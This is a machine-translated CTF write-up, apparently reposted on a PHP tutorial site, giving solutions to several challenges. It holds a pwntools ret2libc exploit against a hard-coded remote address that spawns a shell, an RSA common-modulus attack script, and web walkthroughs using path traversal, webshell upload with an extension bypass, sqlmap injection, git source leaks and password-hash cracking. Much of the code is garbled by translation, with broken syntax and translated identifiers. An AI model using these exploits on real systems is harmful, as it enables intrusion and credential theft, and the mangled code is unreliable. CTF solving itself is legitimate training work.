ホームページ  >  記事  >  運用・保守  >  CTF の質問の書き込みを分析する方法

CTF の質問の書き込みを分析する方法

王林
王林転載
2023-05-20 20:19:041025ブラウズ

これは比較的単純な PWN の質問です。まず、これを IDA にドラッグし、プログラムを簡単に見てください。図に示すように、

CTF の質問の書き込みを分析する方法

found 読み取り時にはスタック保護がないため、0x34 を読み取ると、最初に write(1,write,4) によってゲームの戻りアドレスが置き換えられる可能性があります (ゲームは書き込み戻りアドレスとして使用されます)。この方法で書き込みアドレスを読み取ると、再びループで実行されるため、システム アドレスを取得できます。また、0x804A06C に /bin/sh\0 を書き込むと、システムが実行できるようになります。

Pythonexp は次のとおりです。

frompwn import *

defrungameAgainPoc(p,yourname,flag):

p.recvuntil("まず、あなたの名前は何ですか?名前? \n")

p.send(あなたの名前 "\n")

p.recvuntil("フラグを取得しますか?\n")

p .send (フラグ)

pwnelf= ELF("./pwn")

libcelf= ELF("./libc-2.23.so")

gameadd= 0x080485CB

plt_write= pwnelf.symbols['write']

got_write= pwnelf.got['write']

#p= process('./pwn',env ={ 'LD_PRELOAD':'./libc-2.23.so'})

p= リモート('117.50.60.184', 12345)

rungameAgainPoc(p,"ichuqiu"," 0 " *32 p32(plt_write)

印刷" pwn write "、hex(write_addr)

# libcelf_system_add = libcelf.symbols [" system "]

write_addr- libcelf.symbols["write"]

print"pwn libcelf_system_add",hex(libcelf_system_add)

rungameAgainPoc(p,"/bin/sh\0","0"*32

0x804A06C))

p.interactive()

flag{62c51c85-1516-4ad8-989c-58ce8c29642e}

0x02 Antidbg

IDA が主要な関数を見つけ、循環比較があることが判明しました。

最初の判断では 8 桁の数字であるため、個別に比較します。

# #[ebp var_6C]01050D02070106010206000B07010C06CTF の質問の書き込みを分析する方法
#[ebp var_4C]02080602

#[ebp var_5C]0100070D020108080D000103040D0303

##[ebp var_48]0205 0009

#[ ebp var_44]00000D02

defcover(buf):

buf= buf.decode("hex")

rbuf= ""

範囲内(len(buf) - 1, -1,-1):

rbuf = buf[i]

returnrbuf

defcover_hex_lines(buf):

returnbuf.replace("", "").replace("\r","").replace("\n","").decode("hex")

var_6c=cover( "01050D02070106010206000B07010C06")

カバー("0100070D020108080D000103040D0303")

カバー("02080602") カバー("02050009")

カバー("00000D02")

#printlen(var _6c)

byte_402178= """02 02 02 02 03 01 01 02

0101 02 01 01 00 01 01 02 02 00 01 01 01 01 00

0101 02 02 00 01 01 02 02 01 01 01 01 01 02 01

0103 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0303 0D 04 03 01 00 0D 08 08 01 0 2 0D 07 00 01

060C 01 07 0B 00 06 02 01 06 01 07 02 0D 05 01

0000 00 00 EF 28 68 5B 00 00 00 00 02 00 00 00

4800 00 00 E4 22 00 00 E4 16 00 00 00 00 00 00

EF28 68 5B 00 00 00 00 0C 00 00 00 14 00 00 00

2C23 00 00 2C 17 00 00 00 00 00 00 EF 28 68 5B

0000 00 00 0D 00 00 00 54 02 00 00 40 23 00 00

4017 00 00 00 00 00 00 EF 28 68 5B 00 00 00 0 0

0E00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

A000 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 0 0 00 00 00 30 40 00

E022 40 00 01 00 00 00 E8 20 40 00 00 00 00 00

0000 00 00 00 00 00 00 00 01 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00"""

.replace("","").replace ("\r","").replace("\n","").decode("hex")

byte_402138= """ 00 00 00 00 01 00 00 00

0200 00 00 03 00 00 00 04 00 00 00 05 00 00 00

0600 00 00 07 00 00 00 08 00 00 00 09 00 00 00

0A00 00 00 0B 00 00 00 0C 00 00 00 0D 00 00 00

0E00 00 00 0F 00 00 00"""

.replace("","").replace("\r","").replace("\n","").decode("hex")

dword_403018=" ""0200 00 00 02 00 00 00

0200 00 00 02 00 00 00 00 00 00 00 00 00 00 00

"".replace("","").replace ("\r","").replace("\n","").decode("hex")

#text:0040110E mov ecx, [ebp var_4]

#.text:00401111 ecx, ebp

#.text:00401113 mov dword_40301C, 3

##.text:0040111D dword_403020, 6

#.text:00401127 mov dword_403024 , 7

#メモリ値が変更されているので修正してください

dword_403018= dword_403018[0:4] '\x03' dword_403018[5:8]

'\ x06' dword_403018[9:12] '\x07'

dword_403018[13:]

printdword_403018.encode("hex")

fori 範囲(0 ,42) ):

hightnum= ord(dword_403018[ord(byte_402178[i])*4])numbershow= hightnum ord(byte_402138[ord(var_6c[i ])] *4])

printchr(numbershow),

flag{06b16a72-51cc-4310-88ab-70ab68290e22}

0x03 sqli

この質問 それSQL制約攻撃です。登録ユーザー名は「admin」、パスワードは規定に適合したパスワードでログインすると、flag

flag{b5a1f9c5-ac30-4e88-b460-e90bcb65bd70と表示されます。 }

0x04 RSA

opensslrsa -inform PEM -in pubkey1.pem -pubin -text

公開キー:(2048 ビット)

モジュラス:

00:89:89:a3:98:98:84:56:b3:fe:f4:a6:ad:86:df:

3c:99:57:7f: 89:78: 04:8d:e5:43:6b:ef:c3:0d:8d:

8c:94:95:89:12:aa:52:6f:f3:33:b6: 68:57: 30:6e:

bb:8d:e3:6c:2c:39:6a:84:ef:dc:5d:38:25:02:da:

a1:a3: f3:b6:e9:75:02:d2:e3:1c:84:93:30:f5:b4:

c9:52:57:a1:49:a9:7f: 59:54: ea:f8:93:41:14:7a:

dc:dd:4e:95:0f:ff:74:e3:0b:be:62:28:76:b4: 2e:

ea:c8:6d:f4:ad:97:15:d0:5b:56:04:aa:81:79:42:

4c:7d:9a: c4:6b: d6:b5:f3:22:b2:b5:72:8b:a1:48:

70:4a:25:a8:ef:cc:1e:7c:84:ea: 7e:5c: e3:e0:17:

03:f0:4f:94:a4:31:d9:95:4b:d7:ae:2c:7d:d6:e8:

79: b3:5f:8a:2d:4a:5e:fb:e7:37:25:7b:f9:9b:d9:

ee:66:b1:5a:ff:23: 3f:c7: 7b:55:8a:48:7d:a5:95:

2f:be:2b:92:3d:a9:c5:eb:46:78:8c:05:03: 36:b7:

e3:6a:5e:d8:2d:5c:1b:2a:eb:0e:45:be:e4:05:cb:

e7:24: 81:db: 25:68:aa:82:9e:ea:c8:7d:20:1a:5a:

8f:f5:ee:6f:0b:e3:81:92:ab: 28:39: 63:5f:6c:66:

42:17

指数:2333 (0x91d)

opensslrsa -inform PEM -in pubkey2.pem -pubin -text

公開キー:(2048 ビット)

モジュラス:

00:89:89:a3:98:98:84:56:b3:fe: f4:a6: ad:86:df:

3c:99:57:7f:89:78:04:8d:e5:43:6b:ef:c3:0d:8d:

8c: 94:95:89:12:aa:52:6f:f3:33:b6:68:57:30:6e:

bb:8d:e3:6c:2c:39: 6a:84: ef:dc:5d:38:25:02:da:

a1:a3:f3:b6:e9:75:02:d2:e3:1c:84:93:30: f5:b4:

c9:52:57:a1:49:a9:7f:59:54:ea:f8:93:41:14:7a:

dc:dd: 4e:95: 0f:ff:74:e3:0b:be:62:28:76:b4:2e:

ea:c8:6d:f4:ad:97:15:d0:5b: 56:04: aa:81:79:42:

4c:7d:9a:c4:6b:d6:b5:f3:22:b2:b5:72:8b:a1:48:

70:4a:25:a8:ef:cc:1e:7c:84:ea:7e:5c:e3:e0:17:

03:f0:4f:94:a4: 31:d9: 95:4b:d7:ae:2c:7d:d6:e8:

79:b3:5f:8a:2d:4a:5e:fb:e7:37:25:7b: f9:9b: d9:

ee:66:b1:5a:ff:23:3f:c7:7b:55:8a:48:7d:a5:95:

2f: be:2b: 92:3d:a9:c5:eb:46:78:8c:05:03:36:b7:

e3:6a:5e:d8:2d:5c:1b:2a: eb:0e: 45:be:e4:05:cb:

e7:24:81:db:25:68:aa:82:9e:ea:c8:7d:20:1a:5a:

8f:f5:ee:6f:0b:e3:81:92:ab:28:39:63:5f:6c:66:

42:17

# #Exponent:23333 (0x5b25).

2 つの公開鍵 n は同じですが、e は異なることがわかります。RSA

Python を使用したコモンモード攻撃は次のとおりです。

fromlibnum import n2s ,s2n

fromgmpy2 import invert

importbase64

importgmpy2

defbignumber(n):

n= n.decode("hex ")

rn= 0

forb in n:

rn= rn

rn = ord(b)

returnrn

n ="""00:89:89:a3:98:98:84:56:b3:fe:f4:a6:ad: 86:df:

3c:99:57:7f:89:78:04:8d:e5:43:6b:ef:c3:0d:8d:

8c:94: 95:89:12:aa:52 :6f:f3:33:b6:68:57:30:6e:

bb:8d:e3:6c:2c:39:6a:84:ef:dc:5d:38:25:02:da:

a1:a3:f3:b6:e9:75 :02:d2:e3:1c:84:93:30:f5:b4:

c9:52:57:a1:49:a9:7f:59:54:ea:f8:93:41 :14:7a:

dc:dd:4e:95:0f:ff:74:e3:0b:be:62:28:76:b4:2e:

ea:c8 :6d:f4:ad:97:15:d0:5b:56:04:aa:81:79:42:

4c:7d:9a:c4:6b:d6:b5:f3:22 :b2:b5:72:8b:a1:48:

70:4a:25:a8:ef:cc:1e:7c:84:ea:7e:5c:e3:e0:17:

03:f0:4f:94:a4:31:d9:95:4b:d7:ae:2c:7d:d6:e8:

79:b3:5f:8a:2d :4a:5e:fb:e7:37:25:7b:f9:9b:d9:

ee:66:b1:5a:ff:23:3f:c7:7b:55:8a:48 :7d:a5:95:

2f:be:2b:92:3d:a9:c5:eb:46:78:8c:05:03:36:b7:

e3 :6a:5e:d8:2d:5c:1b:2a:eb:0e:45:be:e4:05:cb:

e7:24:81:db:25:68:aa:82 :9e:ea:c8:7d:20:1a:5a:

8f:f5:ee:6f:0b:e3:81:92:ab:28:39:63:5f:6c:66 :42:17"""

.replace(":",").replace("",").replace("\r",").replace("\n" ,"" )

##printn

n =bignumber(n)

printhex(n)

e1= 2333

e2 =23333

defegcd(a,b):

ifa == 0:

return(b,0,1)

else:

g,y,x= egcd(b%a,a)

return(g,x - (b //a)*y,y)

flag1 = Base64 .b64decode (open("flag1.enc","rb").read())

flag2 =base64.b64decode(open("flag2.enc","rb").read())

c1= s2n(flag1)

c2= s2n(flag2)

c2= 反転(c2,n)

#s= egcd(e1, e2)

#prints

s =gmpy2.gcdext(e1,e2)

#prints

s1= s[1]

s2= 0 - s[2]

prints1

prints2

m =pow(c1,s1,n) * pow(c2,s2,n)% n

printn2s(m)

flag{4b0b4c8a-82f3-4d80-902b-8e7a5706f8fe}

0x05 抛砖引玉

1.CMS バージョンに基づく、wooyun 镜像站找到穴细节,

网站存在注入,但是データ库用户表是空,另外发现発行现文件下下洞穴,

down.php?urls=data/../config.php

ダウンロードファイル公開DB_user/mvoa用の秘密

define('DB_PWD','B!hpp3Dn1.');

flag值:B!hpp3Dn1.

2.http://url/www.zip,入手网站备份文件,在config.php発行DB_user/root用户の秘密

define('DB_PWD','mypasswd');

flag值:mypasswd

0x06 暗度陈仓

1.发现下載路径

/u-are-admin/download.php?dl=

显表示文件找不到(u-Are-Admin/u-upload-file文件夹),発行现关键目录/u-Are-Admin/

flag值:/u-Are-Admin /

#2.在/u-Are-Admin/目录、可传文件、上传Php(大小写绕过)一句话木马、菜刀链接、netuser查看系统管理员Hack用户の全名

flag: Hacked356

3. c771f

0x07瞒 天过海

## 1 1awvs 扫到注入点

##/Cat.php? ID = 2

## SQLMAP 直接能 , , 通过 即获得 后台明文 密解 , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , root の秘密ハッシュ、

#*21C5210729A90C69019F01FED76FAD4654F27167

その後 cmd5 解密も取得可能 rootserver

フラグ:rootserver

3.コンテンツ

/classes/downloadfile .php?file=../../../../../../password.txt

flag值:c9c35cf409344312146fa7546a94d1a6

0x08 偷梁换柱

1.AWVS扫到./gitsource码露露、ツールGitHackを使用してすべてのソースコードをダウンロード、データベースファイル文書公開に使用名、秘密(adminAdmin@pgsql)

フラグ值:Admin@pgsql

2 .掉小,即文件真正址,

/admin/uploads/111.php.png

# 。

3.菜刀能够直接閲覧/tmp/access 16 位

#0x09 .log の内容の前 16 位

0x09 、その後 getshell、构造経路は

CTF の質問の書き込みを分析する方法url/info/include.php?filename=..//sjk-uploads/UareHack.txt

密码是a、拿へシェルphpStudy 目录下Documents.txt の内容

##2.shell にアクセスすると、デスクトップ根目パスワード.txt の内容

#3.getshell を取得できます。msf木马無法反弹、最後にQuarksPwDump HASHを使用し、オンラインで秘密コードを破解します。

以上がCTF の質問の書き込みを分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。